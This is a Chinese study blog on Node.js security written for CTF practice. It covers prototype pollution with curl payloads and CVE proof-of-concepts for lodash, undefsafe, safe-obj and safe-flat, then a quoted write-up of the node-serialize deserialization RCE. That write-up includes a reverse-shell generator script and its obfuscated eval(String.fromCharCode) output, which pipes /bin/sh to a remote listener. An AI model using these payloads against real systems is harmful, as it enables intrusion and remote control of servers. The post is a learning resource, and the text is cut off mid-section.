node.js?我直接就是学学学!

node.js随便学一学(入门向

前言:node.js?浅浅地学一学吧。

  • 未解决的问题:node环境有点问题,很多东西无法代码审计,先凑合看。
  • 关于代码的审计与CVE的审计会在之后学习node.js代码审计中进行。

什么是node.js?

Node.js是一个基于Chrome V8 JavaScript引擎的开源、跨平台的运行时环境,用于构建服务器端和网络应用程序。它允许使用JavaScript作为服务器端语言来编写高性能、可扩展的应用程序。

Node.js的特点包括:(搜到的解释)

  1. 异步非阻塞I/O模型:Node.js使用事件驱动和非阻塞I/O模型,使得应用程序能够以高效的方式处理大量并发请求。它使用单线程事件循环来处理请求,而不是为每个请求创建新的线程,从而减少了系统资源的消耗和开销。
  2. 轻量和高效:Node.js的设计目标是轻量级和高效性能。它采用了一种模块化的架构,使得开发者可以通过组合各种模块来构建复杂的应用程序。同时,Node.js利用了JavaScript的优势,通过使用V8引擎实现高性能的代码执行。
  3. 跨平台:Node.js可以在多个操作系统上运行,包括Windows、macOS和Linux等。这意味着开发者可以使用相同的代码在不同的平台上构建应用程序,提高了开发的效率和可移植性。
  4. 丰富的生态系统:Node.js拥有庞大而活跃的开源社区,提供了大量的模块和工具,可以用于构建各种类型的应用程序。NPM(Node Package Manager)是Node.js的包管理器,它允许开发者方便地安装、发布和共享代码模块。

node.js和js的关系

Node.js是基于JavaScript语言的运行时环境,它扩展了JavaScript的能力,使得JavaScript可以在服务器端运行。因此,可以说Node.js是JavaScript的一个执行环境或平台。

需要注意的是,虽然Node.js与JavaScript密切相关,但它们并不是完全相同的。Node.js提供了一些独有的API和模块,例如http模块用于创建Web服务器,而浏览器中并没有这些功能。另外,Node.js也没有直接访问DOM(文档对象模型)的能力,因为DOM是浏览器环境特有的。但是,可以使用其他库或模块来模拟DOM的一些功能。

总结而言,Node.js是基于JavaScript语言的运行时环境,扩展了JavaScript在服务器端的能力,使其可以用于构建高性能的服务器端应用程序。JavaScript是一种脚本语言,最初设计用于在浏览器中运行,并通过Node.js可以在服务器端执行。

node.js的一些shell

常见的Node.js中使用shell语法的示例:

  1. 使用child_process模块执行shell命令:
1
2
3
4
5
6
7
8
9
const { exec } = require('child_process');

exec('whoami', (error, stdout, stderr) => {
if (error) {
console.error(`执行命令出错: ${error}`);
return;
}
console.log(`命令输出: ${stdout}`);
});
  1. 使用shelljs模块执行shell命令:
1
2
3
4
const shell = require('shelljs');

const result = shell.exec('whoami');
console.log(`命令输出: ${result.stdout}`);
  1. 使用spawn函数执行shell命令并处理输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const { spawn } = require('child_process');

const ls = spawn('ls', ['-l']);

ls.stdout.on('data', (data) => {
console.log(`命令输出: ${data}`);
});

ls.stderr.on('data', (data) => {
console.error(`命令错误输出: ${data}`);
});

ls.on('close', (code) => {
console.log(`命令执行结束,退出码: ${code}`);
});
  1. execa: 这是一个简单而强大的模块,用于执行外部命令。它提供了更好的错误处理和流控制,支持异步和同步执行命令。
1
2
3
4
5
6
7
8
9
10
11
12
const execa = require('execa');

// 异步执行命令
execa('ls', ['-l']).then(result => {
console.log(result.stdout);
}).catch(error => {
console.error(error);
});

// 同步执行命令
const result = execa.sync('ls', ['-l']);
console.log(result.stdout);
  1. shell-exec: 这是一个轻量级的模块,用于执行Shell命令。它提供了简单的API,支持异步和同步执行命令。
1
2
3
4
5
6
7
8
9
10
11
12
const shellExec = require('shell-exec');

// 异步执行命令
shellExec('whoami').then(result => {
console.log(result.stdout);
}).catch(error => {
console.error(error);
});

// 同步执行命令
const result = shellExec.sync('whoami');
console.log(result.stdout);

javascript特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase()/toLowerCase()

'ı'.toUpperCase()='I''ſ'.toUpperCase()='S''K'.toLowerCase()='k'

在绕一些规则的时候就可以利用这几个特殊字符进行绕过,但是不会是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//2022西湖论剑
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})

我也不知道网上那些人抄的啥东西,抄都抄不明白,这里不是什么array大小写绕过,原理应该是:传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了,返回第二部分 flag

原型链与继承

JavaScript的原型链是一种特殊的机制,用于实现对象之间的继承关系。在JavaScript中,每个对象都有一个原型对象(prototype),它可以包含属性和方法。当我们访问对象的属性或方法时,如果该对象本身没有这个属性或方法,JavaScript会通过原型链向上查找,直到找到该属性或方法或到达原型链的末尾(null)。

具体来说,JavaScript中的对象是通过构造函数(Constructor)创建的。构造函数是一个普通的函数,我们可以使用new关键字来实例化一个对象。每个构造函数都有一个原型对象(prototype),它是一个普通的对象,用于存储该构造函数创建的所有实例共享的属性和方法。

当我们访问对象的属性或方法时,JavaScript首先检查该对象本身是否具有该属性或方法。如果没有,它会继续在原型对象上查找。如果原型对象也没有该属性或方法,JavaScript会继续在原型对象的原型上查找,以此类推,直到找到该属性或方法或到达原型链的末尾。

通过原型链,对象可以继承原型对象的属性和方法。当我们创建一个对象的实例时,该实例会自动关联到构造函数的原型对象,从而继承了原型对象上的属性和方法。这种继承方式称为原型继承。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 定义一个构造函数
function Person(name) {
this.name = name;
}

// 在构造函数的原型对象上添加方法
Person.prototype.sayHello = function() {
console.log('Hello, my name is ' + this.name);
};

// 创建一个 Person 对象的实例
var person1 = new Person('John');

// 调用实例的方法
person1.sayHello(); // 输出: Hello, my name is John

// 检查对象和原型之间的关系
console.log(person1.hasOwnProperty('name')); // 输出: true
console.log(person1.hasOwnProperty('sayHello')); // 输出: false

在上面的示例中,我们定义了一个构造函数Person,并在其原型对象上添加了一个方法sayHello。通过new Person('John')创建的实例person1继承了Person构造函数原型对象上的sayHello方法。通过person1.sayHello()调用了继承的方法。

需要注意的是,JavaScript中的原型继承是基于对象的,而不是类的。这意味着我们可以动态地修改原型对象,从而影响到已经创建的实例。这也是JavaScript中的一项强大和灵活的特性。

原型链污染

这个东西是怎么样产生的?(我也不知道,结束🐶

原型链污染是一种特定的安全漏洞,它利用了JavaScript中的原型链继承机制。在Node.js中,原型链污染可以导致意外的行为和安全问题。

原型链污染的原理如下:

  1. JavaScript中的每个对象都有一个原型(prototype)属性,它指向另一个对象。当访问一个对象的属性时,如果该对象本身没有该属性,JavaScript会沿着原型链向上查找,直到找到该属性或者到达原型链的末尾(null)为止。
  2. 原型链污染利用了原型链的动态性。通过修改原型对象,可以影响到所有继承自该原型对象的实例。
  3. 在Node.js中,原型链污染通常发生在使用第三方模块或库时,特别是在解析和处理用户输入时。攻击者可以通过精心构造的输入,修改原型对象,从而影响到整个应用程序的行为。
  4. 一种常见的原型链污染攻击是通过修改Object.prototype对象来污染全局环境。由于大多数对象都继承自Object.prototype,因此修改它的属性会影响到整个应用程序。
  5. 攻击者可以通过修改Object.prototype的属性,例如添加一个名为__proto__的属性,来改变对象的原型链。这样一来,所有继承自Object.prototype的对象都会受到影响。

下面的是一个简单的例子:

如果我们有

object[a][b] = value

我们可以控制 a、b、value 的值,将 a 设置为__proto__,那么我们就可以给 object 对象的原型设置一个 b 属性,值为 value。这样所有继承 object 对象原型的实例对象就会在本身不拥有 b 属性的情况下,都会拥有b属性,且值为value。

示例:

两种方法都可以哦。

  • 先到这里,学课内去了(不想挂科

merge类

在Node.js中,当我们使用Merge类操作来合并对象时,如果合并的对象中包含了恶意的属性,就有可能导致原型链污染。恶意的属性可以是一个函数或一个原型对象,它们会被添加到目标对象的原型链上,从而影响到其他对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//Nullcon HackIM
'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}

function clone(a) {
return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json()) // 调用中间件解析json
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

最简单的payload

1
curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'

原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(objA, objB) {
console.log(objB); // 打印 { __proto__: { admin: 1 } }
for (var key in objB) {
console.log("当前属性: " + key); // 打印 当前属性: __proto__
if (isObject(objA[key]) && isObject(objB[key])) {
merge(objA[key], objB[key]);
} else {
objA[key] = objB[key];
}
}
return objA;
}

function clone(obj) {
return merge({}, obj);
}

Merge()函数首先迭代第二个对象(objB)上的所有属性(因为在相同的键值对的情况下,第二个对象优先)。
如果属性同时存在于第一个对象(objA)和第二个对象(objB)上,并且它们都是Object类型,那么Merge()函数将重新开始合并它们。
现在,如果我们能够控制objB[key]的值,并将key设置为__proto__,还可以控制objB中proto属性内的值,那么当递归进行时,objA[key]在某个点实际上将指向objA的原型。这样,我们就能成功地向所有对象添加一个新属性。

{ proto: { admin: 1 } },其中__proto__只是一个属性名,实际上并不指向函数原型。在merge()函数中,通过for (var key in objB)循环迭代每个属性,其中第一个属性的名称是__proto__
由于它始终是Object类型,因此它开始递归调用,这次是merge(objA[__proto__], objB[__proto__])。这实际上帮助我们访问了objA的函数原型,并向objB的proto属性中定义的新属性进行了添加。

需要注意的是,只有不安全的递归合并函数才会导致原型链污染,非递归的算法是不会导致原型链污染的

Lodash 模块原型链污染

lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)

lodash.defaultsDeep 是 Lodash 库中的一个实用函数,用于深度合并多个对象的属性。它接受一个目标对象和一个或多个源对象,并将源对象的属性递归地合并到目标对象中,如果属性在目标对象中不存在,则添加该属性。

Object.assign 或浅层合并方法不同,lodash.defaultsDeep 执行深度合并,可以合并嵌套对象的属性。它会递归遍历源对象,并将其属性合并到目标对象中,如果属性是对象,则进一步递归合并。

以下是一个使用 lodash.defaultsDeep 的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const lodash = require('lodash');

const defaultConfig = {
server: {
host: 'localhost',
port: 3000,
timeout: 5000
},
database: {
host: 'localhost',
port: 27017,
username: 'admin',
password: 'password'
}
};

const userConfig = {
server: {
port: 8080
},
database: {
username: 'user'
}
};

const mergedConfig = lodash.defaultsDeep(userConfig, defaultConfig);

console.log(mergedConfig);

在上面的示例中,我们有一个默认配置对象 defaultConfig 和一个用户配置对象 userConfig。通过使用 lodash.defaultsDeep,我们将用户配置合并到默认配置中,形成一个新的合并配置对象 mergedConfig。合并后的结果会保留默认配置的属性,但如果用户配置中存在对应属性,则会使用用户配置中的值。

输出的 mergedConfig 对象如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
server: {
host: 'localhost',
port: 8080,
timeout: 5000
},
database: {
host: 'localhost',
port: 27017,
username: 'user',
password: 'password'
}
}

可以看到,合并后的配置对象包含了默认配置和用户配置的属性,并且在深度合并时保留了嵌套结构。

在Lodash库中defaultsDeep函数可以进行构造函数(constructor)重载,通过构造函数重载的方式可以欺骗添加或修改Object.prototype的属性,这个性质可以被用于原型污染。

CVE-2019-10744

CVE ID : CVE-2019-10744
漏洞等级: 高危
CVSS评分: 7.3
影响范围: 4.17.11之前的所有版本

POC:

1
2
3
4
5
6
7
8
9
10
11
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

lodash.merge/lodash.mergeWith 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象。

lodash.mergeWith类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

lodash.set/lodash.setWith 方法造成的原型链污染

lodash.set是Lodash库中的一个实用函数,用于设置对象中指定路径的值。它允许你通过提供一个路径字符串来更新对象的嵌套属性,如果路径不存在,则会自动创建。

具体来说,lodash.set函数接受三个参数:要操作的目标对象、要设置的属性路径以及要设置的值。属性路径可以是一个字符串或一个数组,用于描述要设置的属性在对象中的位置。例如,如果你有一个对象 user,其中包含属性 nameaddresscity,你可以使用 lodash.set 来设置 city 属性的值。

以下是一个使用 lodash.set 的示例:

1
2
3
4
5
6
7
8
9
10
11
12
const lodash = require('lodash');

const user = {
name: 'lazy_fish',
information: {
age: 18,
lover: 'zhy'
}
};

lodash.set(user, 'information.age', 19);
console.log(user.information.age); // 输出: 19

在上面的示例中,我们使用 lodash.setuser 对象中 address.city 的值设置为 'San Francisco'。如果 address.city 属性不存在,则会自动创建它。

lodash.set 函数非常有用,特别是在处理深层嵌套的对象结构时。它提供了一种简洁和安全地更新对象属性的方式。

在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。

POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe 模块原型链污染(CVE-2019-10795)

undefsafe 是一个 JavaScript 模块,用于安全地访问和操作嵌套对象的属性。它提供了一种简洁的方法来处理可能存在的未定义或空值的属性路径,以避免引发异常错误。

通常,在访问深层嵌套的对象属性时,如果某个中间属性不存在,尝试访问它的属性会导致 TypeError 异常。为了避免这种异常,开发人员通常需要编写冗长的条件语句来检查每个属性是否存在。

undefsafe 模块的目标是简化这个过程。它提供了一个函数,可以接受一个对象和一个属性路径字符串,并安全地访问该属性路径,即使中间属性不存在也不会引发异常。如果属性路径有效,它将返回对应属性的值;否则,返回 undefined。

以下是一个使用 undefsafe 的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const undefsafe = require('undefsafe');

const user = {
name: 'lazy_fish',
information: {
age: 18,
lover: 'zhy'
}
};

const cityName = undefsafe(user, 'information.age');
console.log(cityName); // 输出: 18

const postalCode = undefsafe(user, 'information.school');
console.log(postalCode); // 输出: undefined

undefsafe 模块简化了处理嵌套对象属性的代码,使代码更加简洁和可读。它特别适用于处理从外部数据源获取的对象结构,可以安全地处理缺失或不完整的数据。

CVE-2019-10795

**CVE Dictionary Entry:**CVE-2019-10795
**NVD Published Date:**02/18/2020
**NVD Last Modified:**02/27/2020
**Source:**Snyk

我们在 2.0.3 版本中进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但是如果在低于 2.0.3 版本运行,则会得到如下输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

好耶!!!!

safe-obj原型链污染(CVE-2021-25928)

safe-obj模块是一个JavaScript模块,提供了一些可操作对象的方法。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 使用safe-obj模块安全地获取深层对象
const safeObj = require('safe-obj');

const obj = {
prop1: {
prop2: {
prop3: 'value'
}
}
};

// 使用safeObj.get方法获取深层对象的属性
const prop3Value = safeObj.get(obj, 'prop1.prop2.prop3');
console.log(prop3Value); // 输出: 'value'

// 使用safeObj.has方法检查深层对象的属性是否存在
const hasProp3 = safeObj.has(obj, 'prop1.prop2.prop3');
console.log(hasProp3); // 输出: true

// 使用safeObj.getOrDefault方法获取深层对象的属性,如果属性不存在则返回默认值
const defaultValue = 'default';
const prop4Value = safeObj.getOrDefault(obj, 'prop1.prop2.prop4', defaultValue);
console.log(prop4Value); // 输出: 'default'

CVE-2021-25928

POC:

1
2
3
4
5
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

safe-flat原型链污染(CVE-2021-25927)

safe-flat模块是一个JavaScript模块,用于安全地展平(flatten)嵌套的对象或数组。在JavaScript中,展平对象或数组是指将多层嵌套的结构转换为单层的键值对形式,方便进行遍历和处理。safe-flat模块提供了一种安全的方式来展平对象或数组,以防止潜在的安全漏洞和意外行为。

该模块的具体功能包括:

  1. 安全展平对象:safe-flat模块提供了一个flattenObject方法,可以安全地展平嵌套的对象。该方法会递归遍历对象的属性,并将每个属性的键值对添加到展平后的结果中。
  2. 安全展平数组:safe-flat模块还提供了一个flattenArray方法,可以安全地展平嵌套的数组。该方法会递归遍历数组的元素,并将每个元素添加到展平后的结果中。

使用safe-flat模块可以帮助开发者在处理嵌套的对象或数组时更加安全和方便。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 使用safe-flat模块安全地展平嵌套的对象和数组
const safeFlat = require('safe-flat');

const nestedObject = {
prop1: {
prop2: {
prop3: 'value'
}
}
};

// 使用safeFlat.flattenObject方法展平嵌套的对象
const flattenedObject = safeFlat.flattenObject(nestedObject);
console.log(flattenedObject);
// 输出: { 'prop1.prop2.prop3': 'value' }

const nestedArray = [1, [2, [3, [[1]](https://www.seal-analytical.com/zh/%E4%BA%A7%E5%93%81/%E6%B6%88%E8%A7%A3%E4%BB%AA/DEENA-II-%E9%87%91%E5%B1%9E%E6%B6%88%E8%A7%A3%E6%A8%A1%E5%9D%97)]]];

// 使用safeFlat.flattenArray方法展平嵌套的数组
const flattenedArray = safeFlat.flattenArray(nestedArray);
console.log(flattenedArray);
// 输出: [1, 2, 3, 4]

CVE-2021-25927

该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:

1
2
3
4
var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);

Learn more:

  1. 初探node.js相关之原型链污染 - 先知社区
  2. 谭谈 Javascript 原型链与原型链污染 - 先知社区
  3. Nodejs原型链污染 - 掘金

vm是啥???????

VM(Virtual Machine)是指一种运行在 JavaScript 环境中的虚拟机。Node.js 提供了一个名为 vm 的内置模块,用于创建和运行 JavaScript 代码的隔离环境。

通过 vm 模块,你可以在 Node.js 中创建一个独立的虚拟机实例,并在该实例中执行 JavaScript 代码。这个虚拟机实例与主 Node.js 进程和其他虚拟机实例是隔离的,它拥有自己的全局对象、模块系统和执行环境。

使用 VM 可以实现以下功能:

  1. 隔离执行环境: VM 允许你在一个独立的环境中执行 JavaScript 代码,与主进程的环境相互隔离。这可以防止代码之间的冲突和干扰,特别是在加载和运行不受信任的代码时更加安全。
  2. 动态代码执行: VM 允许你在运行时动态地将字符串形式的 JavaScript 代码编译和执行,而不需要依赖外部文件或模块。这对于动态生成代码、插件系统以及动态执行用户提供的代码非常有用。
  3. 沙盒环境: VM 可以用来创建沙盒环境,限制代码的访问权限和功能,以提供更高的安全性。你可以通过控制 VM 实例的上下文和全局对象来限制代码对系统资源和敏感操作的访问。

下面是一个简单的示例,演示如何使用 Node.js 中的 VM 模块创建和执行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
const vm = require('vm');

const code = `
const message = 'Hello, world!';
console.log(message);
`;

const context = {
console: console
};

const script = new vm.Script(code);
const compiledCode = script.runInNewContext(context);

在上面的示例中,我们使用 vm 模块创建了一个 VM 实例,并提供了一个 JavaScript 代码字符串。然后,我们创建了一个上下文对象 context,其中包含了一个 console 对象,以便在执行过程中可以输出日志。接下来,我们使用 vm.Script 构造函数创建了一个脚本对象,并调用 runInNewContext 方法在指定的上下文中执行代码。

简单了解Node.js沙箱环境并分析VM2实现原理

vm沙箱逃逸

我的node环境有点问题,有时间又修改。

vm沙箱逃逸

vm沙箱逃逸审计

node-serialize反序列化RCE漏洞(CVE-2017-5941)

以下内容为CVE-2017-5941: 利用Node.js反序列化漏洞执行远程代码引用(因为我懒了,如有冒犯,联系立删

若不可信的数据传入 unserialize() 函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。

漏洞详情

审计 Node.js 代码时,我正好看到一个名为 node-serialize 的序列号/反序列化模块。下面是一段代码示例,来自网络请求的 cookie 会传递到该模块的 unserialize() 函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var express = require('express');  
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Hello " + escape(obj.username));
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
maxAge: 900000,
httpOnly: true
});
}
res.send("Hello World");
});
app.listen(3000);

Java,PHP,Ruby 和 Python 都出现过很多次反序列化的漏洞。下面是这些问题的相关资源:

但是我找不到任何关于 Node.js 中反序列号/对象注入的资源,于是我就想对此进行研究,然后我花了点儿时间成功利用此 bug,实现了任意代码注入。

构建 Payload

我使用了 0.0.4 版本的 node-serialize 进行研究,成功利用的话,不可信输入传递到 unserialize() 的时候可以执行任意代码。创建 payload 最好使用同一模块的 serialize() 函数。

我创建了以下 JavaScript 对象,将其传入 serialize() 函数。

1
2
3
4
5
6
7
var y = {  
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

我们得到以下输出:

现在我们得到序列化的字符串,可以用 unserialize() 函数进行反序列化操作。那么问题来了,怎么代码执行呢?只有触发对象的 rce 成员函数才行。

后来我想到可以使用 JavaScript 的立即调用的函数表达式(IIFE)来调用该函数。如果我们在函数后使用 IIFE 括号 () ,在对象被创建时,函数就会马上被调用。有点类似于 C 中的类构造函数。

现在修改过的代码经 serialize() 函数马上会被调用。

IIFE 运行良好,但序列化失败了。于是我试着在之前序列化的字符串中函数体后面加上括号 (),并将其传入 unserialize() 函数,很幸运,成功执行。那么就有了下面的 exploit:

1
2
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}

将其传入 unserialize() 函数,触发代码执行。

1
2
3
var serialize = require('node-serialize');  
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

进一步利用

现在我们知道了,如果不受信任的数据传入其中,我们利用 node-serialize 模块中的 unserialize() 函数。我们来利用 Web 程序中的漏洞反弹一个 shell 出来吧。

这里我使用 nodejsshell.py 生成反向 shell 的 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//nodejsshell.py
import sys

if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)
1
2
3
4
5
6
7
8
9
$ python nodejsshell.py 127.0.0.1 1337

[+] LHOST = 127.0.0.1

[+] LPORT = 1337

[+] Encoding

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

现在我们生成反序列化的 payload,并在函数后面添加 IIFE 括号 ()

1
